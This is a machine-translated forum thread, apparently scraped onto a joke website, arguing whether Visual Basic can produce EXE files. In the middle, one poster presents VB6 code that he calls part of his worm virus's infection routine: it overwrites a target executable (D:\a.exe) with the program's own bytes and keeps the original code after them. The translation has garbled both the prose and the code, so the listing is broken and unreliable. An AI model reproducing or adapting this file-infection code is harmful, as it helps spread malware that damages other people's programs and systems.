Joke Collection Website - Cold jokes - How to save EXE as VB
How to save EXE as VB
Can we make a bet? You are the one who said, "Otherwise, it is a joke to write an application with VB to compile it.". EXE file. Would you be crazy if I said it was possible?
Cwa9958: Copy and paste, so will I.
You ... you. ...
HB_09 16: cheapskate ~ hahaha ~ but the landlord is not used to make viruses ... hehe
-
The following codes are all completed by Enoch Butterfly himself. If someone wants to transfer it, you can, but don't be angry and say that you wrote it yourself. ...
The first is to solve your problem ... give you an experimental code: binary copy file (perfect version);
Copy 123.exe to D:\ynd.exe in binary form.
The premise is that ynd.exe doesn't exist, otherwise, hehe, I won't say it. See for yourself ... you can make fun of others with it ... (Mom says people should be kind ...)
Of course, the above words can be avoided, but this code is only a tutorial, so it is not complicated. ...
Option explicit
Dim vbarray () into bytes.
Private Sub-Form _Load ()
Open the binary file "123.exe" as # 1
LOF MsgBox( 1)
ReDim VBArray(LOF( 1)- 1)
Get # 1,,VBArray()
Close # 1
Open the binary file "D:\ynd.exe" as #2.
Put #2,,VBArray()
Close #2
End joint
The effect is as shown in the figure, haha, one byte is not bad!
Ask me if you don't understand. ...
-
Ok, second, let's have a passion virus infection code (worm), which is a small part of the butterfly worm virus. ...
Sorry, I did it alone. ...
The code of the program itself and the target program (D:\a.exe) are mixed into a new a.exe, and a.exe's code is only used to run this program, which is part of the virus infection code I wrote. ...
Don't mess around ~
Note that the premise is that the target program must exist and not be running, otherwise an error will occur, and this error can be easily avoided. ..
But this code is just a tutorial, it won't be very complicated, hehe. ...
Option explicit
Dim OderArray () as bytes, SelfArray () as bytes.
Private Sub-Form _Load ()
MsgBox“00000”
Open the binary file "d:\a.exe" as # 1
Open the application. EXEName +"。 Exe "as binary file #2.
MsgBox LOF(2)
ReDim oder array(LOF( 1)- 1)
ReDim SelfArray(LOF(2) - 1)
Get # 1,,OderArray()
Get #2, SelfArray ()
Put # 1, 1,SelfArray()
Put # 1, LOF( 1), OderArray ()
Close # 1
Close #2
End joint
-
Answer emmett _ 08: "The application written by VB cannot be saved as an. EXE file.
Because. EXE files need to be compiled. He has his own format. Unless you know how to make small changes to the fixed position. EXE fixed file. If so, open the file in binary. Then read and write appropriately.
Otherwise, it would be a joke to write an application with VB to compile and form one. EXE file. "
VC can do it, so can VB. This was mentioned in my message to you, but it is very difficult to realize. ..
The message is as follows:
I have had this idea before, but if you are careful, you will find that even if VB compiles EXE by itself, it is not compiled by itself, but through the called compiler (link). EXE,C2。 EXE, Vbaexe6.lib and yourfiles.obj). Please refer to MSDN or related articles on the Internet for relevant contents. So compilation is the work of compiler, that is, if you want to write other programs in VB, EXE itself is a huge workload first. Secondly, the compiler has been made enough for you and me to write for several years. I can't write for you and I haven't tried. Hehe, of course, writing a compiler itself is not a good thing, and then writing in VB is even harder (but it doesn't mean I can't write it. Baidu knows I said "if I"
"This is a joke, because I can't write a compiler like an idiot to prove that I am excellent, right? ), most compilers in the market are written in VC++6.0 (even compilers in VB6.0 are ... cold ...-), but some people have written one, but it is not a compiler, but it has similar functions, that is, an EXE synthesizer abroad. He merged two EXE files into a new EXE, ran the EXE file, and the EXE file released the last two EXE files to a temporary folder and ran them in turn. ...
If you are interested, I can give you the source code. ...
If you think I'm wrong, or you disagree, welcome to discuss!
-
Answer emmett_08: "Hey, hey, don't say anything." Will you be crazy if I say it can be realized? ".In fact, I made a program with VB a few years ago, which can interpret and execute files in a certain format. But I didn't make it into compilation mode, because I knew it was impossible to do such a job with VB. "
Well, I agree with you on this, because this is the defect of VB itself. A good VC can be achieved. Although it can be realized by VB, the workload and the difficulty of realization can't be compared. ...
- Previous article:Jokes about "Laoshan Beer and Tsingtao Beer"
- Next article:Exo is a good composition.
- Related articles
- What if someone laughs at your name?
- How to draw the simplest father?
- How to identify the authenticity of silver coins in Qing Dynasty
- Make sentences in black and thin (about 30)
- What is the main content of Rapunzel?
- How to cut vegetables with a kitchen knife without tiring your hands
- Classical Chinese with fifty steps and a hundred steps
- Why do snails run faster than rabbits?
- There are many kinds of life. What cartoons can only be understood by people with stories?
- Is it shameful for men to go shopping in Watsons?